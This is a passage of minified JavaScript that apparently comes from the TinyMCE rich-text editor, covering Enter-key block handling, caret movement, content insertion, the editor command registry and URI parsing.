A,B,D,L,M,P,O,H,I,F,z,U,W,V,$;if(A=l.getRng(!0),!a.isDefaultPrevented()){if(!A.collapsed)return
void o.execCommand("Delete");if(new
t(s).normalize(A),L=A.startContainer,M=A.startOffset,V=(u.force_p_newlines?"p":"")||u.forced_root_block,V=V?V.toUpperCase():"",O=s.doc.documentMode,H=a.shiftKey,1==L.nodeType&&L.hasChildNodes()&&($=M>L.childNodes.length-1,L=L.childNodes[Math.min(M,L.childNodes.length-1)]||L,M=$&&3==L.nodeType?L.nodeValue.length:0),D=k(L)){if(c.beforeChange(),!s.isBlock(D)&&D!=s.getRoot())return
void(V&&!H||_());if((V&&!H||!V&&H)&&(L=E(L,M)),P=s.getParent(L,s.isBlock),z=P?s.getParent(P.parentNode,s.isBlock):null,U=P?P.nodeName.toUpperCase():"",W=z?z.nodeName.toUpperCase():"","LI"!=W||a.ctrlKey||(P=z,U=W),o.undoManager.typing&&(o.undoManager.typing=!1,o.undoManager.add()),/^(LI|DT|DD)$/.test(U)){if(!V&&H)return
void _();if(s.isEmpty(P))return void
N()}if("PRE"==U&&u.br_in_pre!==!1){if(!H)return void
_()}else if(!V&&!H&&"LI"!=U||V&&H)return
void
_();V&&P===o.getBody()||(V=V||"P",n.isCaretContainerBlock(P)?(I=n.showCaretContainerBlock(P),s.isEmpty(P)&&C(P),y(I)):w()?R():w(!0)?(I=P.parentNode.insertBefore(x(),P),g(I),y(P)):(B=A.cloneRange(),B.setEndAfter(P),F=B.extractContents(),S(F),I=F.firstChild,s.insertAfter(F,P),v(I),T(P),s.isEmpty(P)&&C(P),I.normalize(),s.isEmpty(I)?(s.remove(I),R()):y(I)),s.setAttrib(I,"id",""),o.fire("NewBlock",{newBlock:I}),c.typing=!1,c.add())}}}var
s=o.dom,l=o.selection,u=o.settings,c=o.undoManager,d=o.schema,f=d.getNonEmptyElements(),p=d.getMoveCaretBeforeOnEnterElements();o.on("keydown",function(e){13==e.keyCode&&a(e)!==!1&&e.preventDefault()})}}),r(re,[],function(){return
function(e){function t(){var
t=i.getStart(),s=e.getBody(),l,u,c,d,f,p,h,m=-16777215,g,v,y,b,C;if(C=n.forced_root_block,t&&1===t.nodeType&&C){for(;t&&t!=s;){if(a[t.nodeName])return;t=t.parentNode}if(l=i.getRng(),l.setStart){u=l.startContainer,c=l.startOffset,d=l.endContainer,f=l.endOffset;try{v=e.getDoc().activeElement===s}catch(x){}}else
l.item&&(t=l.item(0),l=e.getDoc().body.createTextRange(),l.moveToElementText(t)),v=l.parentElement().ownerDocument===e.getDoc(),y=l.duplicate(),y.collapse(!0),c=y.move("character",m)*-1,
y.collapsed||(y=l.duplicate(),y.collapse(!1),f=y.move("character",m)*-1-c);for(t=s.firstChild,b=s.nodeName.toLowerCase();t;)if((3===t.nodeType||1==t.nodeType&&!a[t.nodeName])&&o.isValidChild(b,C.toLowerCase())){if(3===t.nodeType&&0===t.nodeValue.length){h=t,t=t.nextSibling,r.remove(h);continue}p||(p=r.create(C,e.settings.forced_root_block_attrs),t.parentNode.insertBefore(p,t),g=!0),h=t,t=t.nextSibling,p.appendChild(h)}else
p=null,t=t.nextSibling;if(g&&v){if(l.setStart)l.setStart(u,c),l.setEnd(d,f),i.setRng(l);else
try{l=e.getDoc().body.createTextRange(),l.moveToElementText(s),l.collapse(!0),l.moveStart("character",c),f>0&&l.moveEnd("character",f),l.select()}catch(x){}e.nodeChanged()}}}var
n=e.settings,r=e.dom,i=e.selection,o=e.schema,a=o.getBlockElements();n.forced_root_block&&e.on("NodeChange",t)}}),r(ie,[z,y,_,$,k,U],function(e,t,n,r,i,o){function
a(e){return e>0}function s(e){return e<0}function l(e,t){for(var
n;n=e(t);)if(!N(n))return n;return null}function u(e,n,r,i,o){var u=new
t(e,i);if(s(n)){if((x(e)||N(e))&&(e=l(u.prev,!0),r(e)))return
e;for(;e=l(u.prev,o);)if(r(e))return
e}if(a(n)){if((x(e)||N(e))&&(e=l(u.next,!0),r(e)))return
e;for(;e=l(u.next,o);)if(r(e))return e}return null}function
c(e,t){for(e=e.parentNode;e&&e!=t;e=e.parentNode)if(C(e))return
e;return t}function d(e,t){for(;e&&e!=t;){if(w(e))return
e;e=e.parentNode}return null}function f(e,t,n){return
d(e.container(),n)==d(t.container(),n)}function p(e,t,n){return
c(e.container(),n)==c(t.container(),n)}function h(e,t){var n,r;return
t?(n=t.container(),r=t.offset(),S(n)?n.childNodes[r+e]:null):null}function
m(e,t){var n=t.ownerDocument.createRange();return
e?(n.setStartBefore(t),n.setEndBefore(t)):(n.setStartAfter(t),n.setEndAfter(t)),n}function
g(e,t,n){return d(t,e)==d(n,e)}function v(e,t,n){var
r,i;for(i=e?"previousSibling":"nextSibling";n&&n!=t;){if(r=n[i],E(r)&&(r=r[i]),x(r)){if(g(t,r,n))return
r;break}if(k(r))break;n=n.parentNode}return null}function y(e,t,r){var
o,a,s,l,u=_(v,!0,t),c=_(v,!1,t);if(a=r.startContainer,s=r.startOffset,i.isCaretContainerBlock(a)){if(S(a)||(a=a.parentNode),l=a.getAttribute("data-mce-caret"),"before"==l&&(o=a.nextSibling,x(o)))return
T(o);if("after"==l&&(o=a.previousSibling,x(o)))return
R(o)}if(!r.collapsed)return
r;if(n.isText(a)){if(E(a)){if(1===e){if(o=c(a))return T(o);if(o=u(a))return
R(o)}if(e===-1){if(o=u(a))return R(o);if(o=c(a))return T(o)}return
r}if(i.endsWithCaretContainer(a)&&s>=a.data.length-1)return
1===e&&(o=c(a))?T(o):r;if(i.startsWithCaretContainer(a)&&s<=1)return
e===-1&&(o=u(a))?R(o):r;if(s===a.data.length)return
o=c(a),o?T(o):r;if(0===s)return o=u(a),o?R(o):r}return r}function
b(e,t){return x(h(e,t))}var
C=n.isContentEditableTrue,x=n.isContentEditableFalse,w=n.matchStyleValues("display","block
table table-cell
table-caption"),E=i.isCaretContainer,N=i.isCaretContainerBlock,_=e.curry,S=n.isElement,k=o.isCaretCandidate,T=_(m,!0),R=_(m,!1);return{isForwards:a,isBackwards:s,findNode:u,getEditingHost:c,getParentBlock:d,isInSameBlock:f,isInSameEditingHost:p,isBeforeContentEditableFalse:_(b,0),isAfterContentEditableFalse:_(b,-1),normalizeRange:y}}),r(oe,[_,U,$,ie,h,z],function(e,t,n,r,i,o){function
a(e,t){for(var n=[];e&&e!=t;)n.push(e),e=e.parentNode;return
n}function s(e,t){return
e.hasChildNodes()&&t<e.childNodes.length?e.childNodes[t]:null}function
l(e,t){if(m(e)){if(v(t.previousSibling)&&!f(t.previousSibling))return
n.before(t);if(f(t))return
n(t,0)}if(g(e)){if(v(t.nextSibling)&&!f(t.nextSibling))return
n.after(t);if(f(t))return n(t,t.data.length)}return
g(e)?h(t)?n.before(t):n.after(t):n.before(t)}function u(t,i){var
o;return!!e.isBr(t)&&(o=c(1,n.after(t),i),!!o&&!r.isInSameBlock(n.before(t),n.before(o),i))}function
c(e,t,h){var C,x,w,E,N,_,S;if(!p(h)||!t)return
null;if(S=t,C=S.container(),x=S.offset(),f(C)){if(g(e)&&x>0)return
n(C,--x);if(m(e)&&x<C.length)return
n(C,++x);w=C}else{if(g(e)&&x>0&&(E=s(C,x-1),v(E)))return!y(E)&&(N=r.findNode(E,e,b,E))?f(N)?n(N,N.data.length):n.after(N):f(E)?n(E,E.data.length):n.before(E);if(m(e)&&x<C.childNodes.length&&(E=s(C,x),v(E)))return
u(E,h)?c(e,n.after(E),h):!y(E)&&(N=r.findNode(E,e,b,E))?f(N)?n(N,0):n.before(N):f(E)?n(E,0):n.after(E);w=S.getNode()}return(m(e)&&S.isAtEnd()||g(e)&&S.isAtStart())&&(w=r.findNode(w,e,o.constant(!0),h,!0),b(w))?l(e,w):(E=r.findNode(w,e,b,h),_=i.last(i.filter(a(C,h),d)),!_||E&&_.contains(E)?E?l(e,E):null:S=m(e)?n.after(_):n.before(_))}var
d=e.isContentEditableFalse,f=e.isText,p=e.isElement,h=e.isBr,m=r.isForwards,g=r.isBackwards,v=t.isCaretCandidate,y=t.isAtomic,b=t.isEditableCaretCandidate;return
function(e){return{next:function(t){return
c(1,t,e)},prev:function(t){return
c(-1,t,e)}}}}),r(ae,[m,oe,$],function(e,t,n){var r=function(e){var
t=e.firstChild,n=e.lastChild;return
t&&"meta"===t.name&&(t=t.next),n&&"mce_marker"===n.attr("id")&&(n=n.prev),!(!t||t!==n)&&("ul"===t.name||"ol"===t.name)},i=function(e){var
t=e.firstChild,n=e.lastChild;return
t&&"META"===t.nodeName&&t.parentNode.removeChild(t),n&&"mce_marker"===n.id&&n.parentNode.removeChild(n),e},o=function(e,t,n){var
r=t.serialize(n),o=e.createFragment(r);return i(o)},a=function(t){return
e.grep(t.childNodes,function(e){return"LI"===e.nodeName})},s=function(e){return!e.firstChild},l=function(e){return
e.length>0&&s(e[e.length-1])?e.slice(0,-1):e},u=function(e,t){var
n=e.getParent(t,e.isBlock);return
n&&"LI"===n.nodeName?n:null},c=function(e,t){return!!u(e,t)},d=function(e,t){var
n=t.cloneRange(),r=t.cloneRange();return
n.setStartBefore(e),r.setEndAfter(e),[n.cloneContents(),r.cloneContents()]},f=function(e,r){var
i=n.before(e),o=new t(r),a=o.next(i);return
a?a.toRange():null},p=function(e,r){var i=n.after(e),o=new
t(r),a=o.prev(i);return a?a.toRange():null},h=function(t,n,r,i){var
o=d(t,i),a=t.parentNode;return
a.insertBefore(o[0],t),e.each(n,function(e){a.insertBefore(e,t)}),a.insertBefore(o[1],t),a.removeChild(t),p(n[n.length-1],r)},m=function(t,n,r){var
i=t.parentNode;return
e.each(n,function(e){i.insertBefore(e,t)}),f(t,r)},g=function(e,t,n,r){return
r.insertAfter(t.reverse(),e),p(t[0],n)},v=function(e,r,i,s){var
c=o(r,e,s),d=u(r,i.startContainer),f=l(a(c.firstChild)),p=1,v=2,y=r.getRoot(),b=function(e){var
o=n.fromRangeStart(i),a=new
t(r.getRoot()),s=e===p?a.prev(o):a.next(o);return!s||u(r,s.getNode())!==d};return
b(p)?m(d,f,y):b(v)?g(d,f,y,r):h(d,f,y,i)};return{isListFragment:r,insertAtCaret:v,isParentBlockLi:c,trimListItems:l,listItems:a}}),r(se,[d,m,P,oe,$,X,_,ae],function(e,t,n,r,i,o,a,s){var
l=a.matchNodeNames("td
th"),u=function(e,t,n){if("all"===n.getAttribute("data-mce-bogus"))n.parentNode.insertBefore(e.dom.createFragment(t),n);else{var
r=n.firstChild,i=n.lastChild;!r||r===i&&"BR"===r.nodeName?e.dom.setHTML(n,t):e.selection.setContent(t)}},c=function(a,c,d){function
f(e){function t(e){return r[e]&&3==r[e].nodeType}var n,r,i;return
n=L.getRng(!0),r=n.startContainer,i=n.startOffset,3==r.nodeType&&(i>0?e=e.replace(/^&nbsp;/,"
"):t("previousSibling")||(e=e.replace(/^
/,"&nbsp;")),i<r.length?e=e.replace(/&nbsp;(<br>|)$/,"
"):t("nextSibling")||(e=e.replace(/(&nbsp;|
)(<br>|)$/,"&nbsp;"))),e}function p(){var
e,t,n;e=L.getRng(!0),t=e.startContainer,n=e.startOffset,3==t.nodeType&&e.collapsed&&("\xa0"===t.data[n]?(t.deleteData(n,1),/[\u00a0|
]$/.test(c)||(c+="
")):"\xa0"===t.data[n-1]&&(t.deleteData(n-1,1),/[\u00a0|
]$/.test(c)||(c=" "+c)))}function h(){if(B){var
e=a.getBody(),n=new
o(M);t.each(M.select("*[data-mce-fragment]"),function(t){for(var
r=t.parentNode;r&&r!=e;r=r.parentNode)D[t.nodeName.toLowerCase()]&&n.compare(r,t)&&M.remove(t,!0)})}}function
m(e){for(var
t=e;t=t.walk();)1===t.type&&t.attr("data-mce-fragment","1")}function
g(e){t.each(e.getElementsByTagName("*"),function(e){e.removeAttribute("data-mce-fragment")})}function
v(e){return!!e.getAttribute("data-mce-fragment")}function
y(e){return
e&&!a.schema.getShortEndedElements()[e.nodeName]}function
b(t){function n(e){for(var
t=a.getBody();e&&e!==t;e=e.parentNode)if("false"===a.dom.getContentEditable(e))return
e;return null}function o(e){var t=i.fromRangeStart(e),n=new
r(a.getBody());if(t=n.next(t))return t.toRange()}var
s,u,c;if(t){if(L.scrollIntoView(t),s=n(t))return M.remove(t),void
L.select(s);k=M.createRng(),T=t.previousSibling,T&&3==T.nodeType?(k.setStart(T,T.nodeValue.length),e.ie||(R=t.nextSibling,R&&3==R.nodeType&&(T.appendData(R.data),R.parentNode.removeChild(R)))):(k.setStartBefore(t),k.setEndBefore(t)),u=M.getParent(t,M.isBlock),M.remove(t),u&&M.isEmpty(u)&&(a.$(u).empty(),k.setStart(u,0),k.setEnd(u,0),l(u)||v(u)||!(c=o(k))?M.add(u,M.create("br",{"data-mce-bogus":"1"})):(k=c,M.remove(u))),L.setRng(k)}}var
C,x,w,E,N,_,S,k,T,R,A,B,D=a.schema.getTextInlineElements(),L=a.selection,M=a.dom;/^
| $/.test(c)&&(c=f(c)),C=a.parser,B=d.merge,x=new
n({validate:a.settings.validate},a.schema),A='<span
id="mce_marker"
data-mce-type="bookmark">&#xFEFF;&#x200B;</span>',_={content:c,format:"html",selection:!0},a.fire("BeforeSetContent",_),c=_.content,c.indexOf("{$caret}")==-1&&(c+="{$caret}"),c=c.replace(/\{\$caret\}/,A),k=L.getRng();var
P=k.startContainer||(k.parentElement?k.parentElement():null),O=a.getBody();P===O&&L.isCollapsed()&&M.isBlock(O.firstChild)&&y(O.firstChild)&&M.isEmpty(O.firstChild)&&(k=M.createRng(),k.setStart(O.firstChild,0),k.setEnd(O.firstChild,0),L.setRng(k)),L.isCollapsed()||(a.selection.setRng(a.selection.getRng()),a.getDoc().execCommand("Delete",!1,null),p()),w=L.getNode();var
H={context:w.nodeName.toLowerCase(),data:d.data};if(N=C.parse(c,H),d.paste===!0&&s.isListFragment(N)&&s.isParentBlockLi(M,w))return
k=s.insertAtCaret(x,M,a.selection.getRng(!0),N),a.selection.setRng(k),void
a.fire("SetContent",_);if(m(N),T=N.lastChild,"mce_marker"==T.attr("id"))for(S=T,T=T.prev;T;T=T.walk(!0))if(3==T.type||!M.isBlock(T.name)){a.schema.isValidChild(T.parent.name,"span")&&T.parent.insert(S,T,"br"===T.name);break}if(a._selectionOverrides.showBlockCaretContainer(w),H.invalid){for(L.setContent(A),w=L.getNode(),E=a.getBody(),9==w.nodeType?w=T=E:T=w;T!==E;)w=T,T=T.parentNode;c=w==E?E.innerHTML:M.getOuterHTML(w),c=x.serialize(C.parse(c.replace(/<span
(id="mce_marker"|id=mce_marker).+?<\/span>/i,function(){return
x.serialize(N)}))),w==E?M.setHTML(E,c):M.setOuterHTML(w,c)}else
c=x.serialize(N),u(a,c,w);h(),b(M.get("mce_marker")),g(a.getBody()),a.fire("SetContent",_),a.addVisual()},d=function(e){var
n;return"string"!=typeof
e?(n=t.extend({paste:e.paste,data:{paste:e.paste}},e),{content:e.content,details:n}):{content:e,details:{}}},f=function(e,t){var
n=d(t);c(e,n.content,n.details)};return{insertAtCaret:f}}),r(le,[d,m,T,y,se,_],function(e,n,r,i,o,a){var
s=n.each,l=n.extend,u=n.map,c=n.inArray,d=n.explode,f=e.ie&&e.ie<11,p=!0,h=!1;return
function(n){function m(e,t,r,i){var
o,a,l=0;if(/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(e)||i&&i.skip_focus||n.focus(),i=n.fire("BeforeExecCommand",{command:e,ui:t,value:r}),i.isDefaultPrevented())return!1;if(a=e.toLowerCase(),o=D.exec[a])return
o(a,t,r),n.fire("ExecCommand",{command:e,ui:t,value:r}),!0;if(s(n.plugins,function(i){if(i.execCommand&&i.execCommand(e,t,r))return
n.fire("ExecCommand",{command:e,ui:t,value:r}),l=!0,!1}),l)return
l;if(n.theme&&n.theme.execCommand&&n.theme.execCommand(e,t,r))return
n.fire("ExecCommand",{command:e,ui:t,value:r}),!0;try{l=n.getDoc().execCommand(e,t,r)}catch(u){}return!!l&&(n.fire("ExecCommand",{command:e,ui:t,value:r}),!0)}function
g(e){var
t;if(!n.quirks.isHidden()){if(e=e.toLowerCase(),t=D.state[e])return
t(e);try{return
n.getDoc().queryCommandState(e)}catch(r){}return!1}}function v(e){var
t;if(!n.quirks.isHidden()){if(e=e.toLowerCase(),t=D.value[e])return
t(e);try{return n.getDoc().queryCommandValue(e)}catch(r){}}}function
y(e,t){t=t||"exec",s(e,function(e,n){s(n.toLowerCase().split(","),function(n){D[t][n]=e})})}function
b(e,t,r){e=e.toLowerCase(),D.exec[e]=function(e,i,o,a){return
t.call(r||n,i,o,a)}}function
C(e){if(e=e.toLowerCase(),D.exec[e])return!0;try{return
n.getDoc().queryCommandSupported(e)}catch(t){}return!1}function
x(e,t,r){e=e.toLowerCase(),D.state[e]=function(){return
t.call(r||n)}}function
w(e,t,r){e=e.toLowerCase(),D.value[e]=function(){return
t.call(r||n)}}function E(e){return e=e.toLowerCase(),!!D.exec[e]}function
N(e,r,i){return
r===t&&(r=h),i===t&&(i=null),n.getDoc().execCommand(e,r,i)}function
_(e){return B.match(e)}function
S(e,r){B.toggle(e,r?{value:r}:t),n.nodeChanged()}function
k(e){M=A.getBookmark(e)}function T(){A.moveToBookmark(M)}var
R,A,B,D={state:{},exec:{},value:{}},L=n.settings,M;n.on("PreInit",function(){R=n.dom,A=n.selection,L=n.settings,B=n.formatter}),l(this,{execCommand:m,queryCommandState:g,queryCommandValue:v,queryCommandSupported:C,addCommands:y,addCommand:b,addQueryStateHandler:x,addQueryValueHandler:w,hasCustomCommand:E}),y({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){n.undoManager.add()},"Cut,Copy,Paste":function(t){var
r=n.getDoc(),i;try{N(t)}catch(o){i=p}if("paste"!==t||r.queryCommandEnabled(t)||(i=!0),i||!r.queryCommandSupported(t)){var
a=n.translate("Your browser doesn't support direct access to the
clipboard. Please use the Ctrl+X/C/V keyboard shortcuts
instead.");e.mac&&(a=a.replace(/Ctrl\+/g,"\u2318+")),n.notificationManager.open({text:a,type:"error"})}},unlink:function(){if(A.isCollapsed()){var
e=n.dom.getParent(n.selection.getStart(),"a");return
void(e&&n.dom.remove(e,!0))}B.remove("link")},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull,JustifyNone":function(e){var
t=e.substring(7);"full"==t&&(t="justify"),s("left,center,right,justify".split(","),function(e){t!=e&&B.remove("align"+e)}),"none"!=t&&S("align"+t)},"InsertUnorderedList,InsertOrderedList":function(e){var
t,n;N(e),t=R.getParent(A.getNode(),"ol,ul"),t&&(n=t.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(n.nodeName)&&(k(),R.split(n,t),T()))},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){S(e)},"ForeColor,HiliteColor,FontName":function(e,t,n){S(e,n)},FontSize:function(e,t,n){var
r,i;n>=1&&n<=7&&(i=d(L.font_size_style_values),r=d(L.font_size_classes),n=r?r[n-1]||n:i[n-1]||n),S(e,n)},RemoveFormat:function(e){B.remove(e)},mceBlockQuote:function(){S("blockquote")},FormatBlock:function(e,t,n){return
S(n||"p")},mceCleanup:function(){var
e=A.getBookmark();n.setContent(n.getContent({cleanup:p}),{cleanup:p}),A.moveToBookmark(e)},mceRemoveNode:function(e,t,r){var
i=r||A.getNode();i!=n.getBody()&&(k(),n.dom.remove(i,p),T())},mceSelectNodeDepth:function(e,t,r){var
i=0;R.getParent(A.getNode(),function(e){if(1==e.nodeType&&i++==r)return
A.select(e),h},n.getBody())},mceSelectNode:function(e,t,n){A.select(n)},mceInsertContent:function(e,t,r){o.insertAtCaret(n,r)},mceInsertRawHTML:function(e,t,r){A.setContent("tiny_mce_marker"),n.setContent(n.getContent().replace(/tiny_mce_marker/g,function(){return
r}))},mceToggleFormat:function(e,t,n){S(n)},mceSetContent:function(e,t,r){n.setContent(r)},"Indent,Outdent":function(e){var
t,r,i;t=L.indentation,r=/[a-z%]+$/i.exec(t),t=parseInt(t,10),g("InsertUnorderedList")||g("InsertOrderedList")?N(e):(L.forced_root_block||R.getParent(A.getNode(),R.isBlock)||B.apply("div"),s(A.getSelectedBlocks(),function(o){if("false"!==R.getContentEditable(o)&&"LI"!==o.nodeName){var
a=n.getParam("indent_use_margin",!1)?"margin":"padding";a="TABLE"===o.nodeName?"margin":a,a+="rtl"==R.getStyle(o,"direction",!0)?"Right":"Left","outdent"==e?(i=Math.max(0,parseInt(o.style[a]||0,10)-t),R.setStyle(o,a,i?i+r:"")):(i=parseInt(o.style[a]||0,10)+t+r,R.setStyle(o,a,i))}}))},mceRepaint:function(){},InsertHorizontalRule:function(){n.execCommand("mceInsertContent",!1,"<hr
/>")},mceToggleVisualAid:function(){n.hasVisual=!n.hasVisual,n.addVisual()},mceReplaceContent:function(e,t,r){n.execCommand("mceInsertContent",!1,r.replace(/\{\$selection\}/g,A.getContent({format:"text"})))},mceInsertLink:function(e,t,n){var
r;"string"==typeof
n&&(n={href:n}),r=R.getParent(A.getNode(),"a"),n.href=n.href.replace("
","%20"),r&&n.href||B.remove("link"),n.href&&B.apply("link",n,r)},selectAll:function(){var
e=R.getRoot(),t;if(A.getRng().setStart){var
n=R.getParent(A.getStart(),a.isContentEditableTrue);n&&(t=R.createRng(),t.selectNodeContents(n),A.setRng(t))}else
t=A.getRng(),t.item||(t.moveToElementText(e),t.select())},"delete":function(){N("Delete");var
e=n.getBody();R.isEmpty(e)&&(n.setContent(""),e.firstChild&&R.isBlock(e.firstChild)?n.selection.setCursorLocation(e.firstChild,0):n.selection.setCursorLocation(e,0))},mceNewDocument:function(){n.setContent("")},InsertLineBreak:function(e,t,o){function
a(){for(var e=new
i(m,v),t,r=n.schema.getNonEmptyElements();t=e.next();)if(r[t.nodeName.toLowerCase()]||t.length>0)return!0}var
s=o,l,u,c,d=A.getRng(!0);new r(R).normalize(d);var
h=d.startOffset,m=d.startContainer;if(1==m.nodeType&&m.hasChildNodes()){var
g=h>m.childNodes.length-1;m=m.childNodes[Math.min(h,m.childNodes.length-1)]||m,h=g&&3==m.nodeType?m.nodeValue.length:0}var
v=R.getParent(m,R.isBlock),y=v?v.nodeName.toUpperCase():"",b=v?R.getParent(v.parentNode,R.isBlock):null,C=b?b.nodeName.toUpperCase():"",x=s&&s.ctrlKey;"LI"!=C||x||(v=b,y=C),m&&3==m.nodeType&&h>=m.nodeValue.length&&(f||a()||(l=R.create("br"),d.insertNode(l),d.setStartAfter(l),d.setEndAfter(l),u=!0)),l=R.create("br"),d.insertNode(l);var
w=R.doc.documentMode;return
f&&"PRE"==y&&(!w||w<8)&&l.parentNode.insertBefore(R.doc.createTextNode("\r"),l),c=R.create("span",{},"&nbsp;"),l.parentNode.insertBefore(c,l),A.scrollIntoView(c),R.remove(c),u?(d.setStartBefore(l),d.setEndBefore(l)):(d.setStartAfter(l),d.setEndAfter(l)),A.setRng(d),n.undoManager.add(),p}}),y({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(e){var
t="align"+e.substring(7),n=A.isCollapsed()?[R.getParent(A.getNode(),R.isBlock)]:A.getSelectedBlocks(),r=u(n,function(e){return!!B.matchNode(e,t)});return
c(r,p)!==-1},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){return
_(e)},mceBlockQuote:function(){return
_("blockquote")},Outdent:function(){var
e;if(L.inline_styles){if((e=R.getParent(A.getStart(),R.isBlock))&&parseInt(e.style.paddingLeft,10)>0)return
p;if((e=R.getParent(A.getEnd(),R.isBlock))&&parseInt(e.style.paddingLeft,10)>0)return
p}return
g("InsertUnorderedList")||g("InsertOrderedList")||!L.inline_styles&&!!R.getParent(A.getNode(),"BLOCKQUOTE")},"InsertUnorderedList,InsertOrderedList":function(e){var
t=R.getParent(A.getNode(),"ul,ol");return
t&&("insertunorderedlist"===e&&"UL"===t.tagName||"insertorderedlist"===e&&"OL"===t.tagName)}},"state"),y({"FontSize,FontName":function(e){var
t=0,n;return(n=R.getParent(A.getNode(),"span"))&&(t="fontsize"==e?n.style.fontSize:n.style.fontFamily.replace(/,
/g,",").replace(/[\'\"]/g,"").toLowerCase()),t}},"value"),y({Undo:function(){n.undoManager.undo()},Redo:function(){n.undoManager.redo()}})}}),r(ue,[m],function(e){function
t(e,o){var
a=this,s,l;if(e=r(e),o=a.settings=o||{},s=o.base_uri,/^([\w\-]+):([^\/]{2})/i.test(e)||/^\s*#/.test(e))return
void(a.source=e);var
u=0===e.indexOf("//");0!==e.indexOf("/")||u||(e=(s?s.protocol||"http":"http")+"://mce_host"+e),/^[\w\-]*:?\/\//.test(e)||(l=o.base_uri?o.base_uri.path:new
t(location.href).directory,""===o.base_uri.protocol?e="//mce_host"+a.toAbsPath(l,e):(e=/([^#?]*)([#?]?.*)/.exec(e),e=(s&&s.protocol||"http")+"://mce_host"+a.toAbsPath(l,e[1])+e[2])),e=e.replace(/@@/g,"(mce_at)"),e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e),n(i,function(t,n){var
r=e[n];r&&(r=r.replace(/\(mce_at\)/g,"@@")),a[t]=r}),s&&(a.protocol||(a.protocol=s.protocol),a.userInfo||(a.userInfo=s.userInfo),a.port||"mce_host"!==a.host||(a.port=s.port),a.host&&"mce_host"!==a.host||(a.host=s.host),a.source=""),u&&(a.protocol="")}var
n=e.each,r=e.trim,i="source protocol authority userInfo user password
host port relative path directory file query anchor".split("
"),o={ftp:21,http:80,https:443,mailto:25};return
t.prototype={setPath:function(e){var
t=this;e=/^(.*?)\/?(\w+)?$/.exec(e),t.path=e[0],t.directory=e[1],t.file=e[2],t.source="",t.getURI()},toRelative:function(e){var
n=this,r;if("./"===e)return e;if(e=new
t(e,{base_uri:n}),"mce_host"!=e.host&&n.host!=e.host&&e.host||n.port!=e.port||n.protocol!=e.protocol&&""!==e.protocol)return
e.getURI();var i=n.getURI(),o=e.getURI();return
i==o||"/"==i.charAt(i.length-1)&&i.substr(0,i.length-1)==o?i:(r=n.toRelPath(n.path,e.path),e.query&&(r+="?"+e.query),e.anchor&&(r+="#"+e.anchor),r)},toAbsolute:function(e,n){return
e=new
t(e,{base_uri:this}),e.getURI(n&&this.isSameOrigin(e))},isSameOrigin:function(e){if(this.host==e.host&&this.protocol==e.protocol){if(this.port==e.port)return!0;var
t=o[this.protocol];if(t&&(this.port||t)==(e.port||t))return!0}return!1},toRelPath:function(e,t){var
n,r=0,i="",o,a;if(e=e.substring(0,e.lastIndexOf("/")),e=e.split("/"),n=t.split("/"),e.length>=n.length)for(o=0,a=e.length;o<a;o++)if(o>=n.length||e[o]!=n[o]){r=o+1;break}if(e.length<n.length)for(o=0,a=n.length;o<a;o++)if(o>=e.length||e[o]!=n[o]){r=o+1;break}if(1===r)return
t;for(o=0,a=e.length-(r-1);o<a;o++)i+="../";for(o=r-1,a=n.length;o<a;o++)i+=o!=r-1?"/"+n[o]:n[o];return
i},toAbsPath:function(e,t){var
r,i=0,o=[],a,s;for(a=/\/$/.test(t)?"/":"",e=e.split("/"),t=t.split("/"),n(e,function(e){e&&o.push(e)}),e=o,r=t.length-1,o=[];r>=0;r--)0!==t[r].length&&"."!==t[r]&&(".."!==t[r]?i>0?i--:o.push(t[r]):i++);return
r=e.length-i,s=r<=0?o.reverse().join("/"):e.slice(0,r).join("/")+"/"+o.reverse().join("/"),0!==s.indexOf("/")&&(s="/"+s),a&&s.lastIndexOf("/")!==s.length-1&&(s+=a),s},getURI:function(e){var
t,n=this;return
n.source&&!e||(t="",e||(t+=n.protocol?n.protocol+"://":"//",n.userInfo&&(t+=n.userInfo+"@"),n.host&&(t+=n.host),n.port&&(t+=":"+n.port)),n.path&&(t+=n.path),n.query&&(t+="?"+n.query),n.anchor&&(t+="#"+n.anchor),n.source=t),n.source}},t.parseDataUri=function(e){var
t,n;return
e=decodeURIComponent(e).split(","),n=/data:([^;]+)/.exec(e[0]),n&&(t=n[1]),{type:t,data:e[1]}},t.getDocumentBaseUrl=function(e){var
t;return
t=0!==e.protocol.indexOf("http")&&"file:"!==e.protocol?e.href:e.protocol+"//"+e.host+e.pathname,/^[^:]+:\/\/\/?[^\/]+\//.test(t)&&(t=t.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(t)||(t+="/")),t},t}),r(ce,[m],function(e){function
t(){}var n=e.each,r=e.extend,i,o;return t.extend=i=function(e){function
t(){var
e,t,n,r=this;if(!o&&(r.init&&r.init.apply(r,arguments),t=r.Mixins))for(e=t.length;e--;)n=t[e],n.init&&n.init.apply(r,arguments)}function
a(){return this}function s(e,t){return function(){var
n=this,r=n._super,i;return
n._super=u[e],i=t.apply(n,arguments),n._super=r,i}}var
l=this,u=l.prototype,c,d,f;o=!0,c=new
l,o=!1,e.Mixins&&(n(e.Mixins,function(t){for(var n in
t)"init"!==n&&(e[n]=t[n])}),u.Mixins&&(e.Mixins=u.Mixins.concat(e.Mixins))),e.Methods&&n(e.Methods.split(","),function(t){e[t]=a}),e.Properties&&n(e.Properties.split(","),function(t){var
n="_"+t;e[t]=function(e){var t=this,r;return
e!==r?(t[n]=e,t):t[n]}}),e.Statics&&n(e.Statics,function(e,n){t[n]=e}),e.Defaults&&u.Defaults&&(e.Defaults=r({},u.Defaults,e.Defaults));for(d
in e)f=e[d],"function"==typeof
f&&u[d]?c[d]=s(d,f):c[d]=f;return
t.prototype=c,t.constructor=t,t.extend=i,t},t}),r(de,[m],function(e){function
t(t){function n(){return!1}function r(){return!0}function i(e,i){var
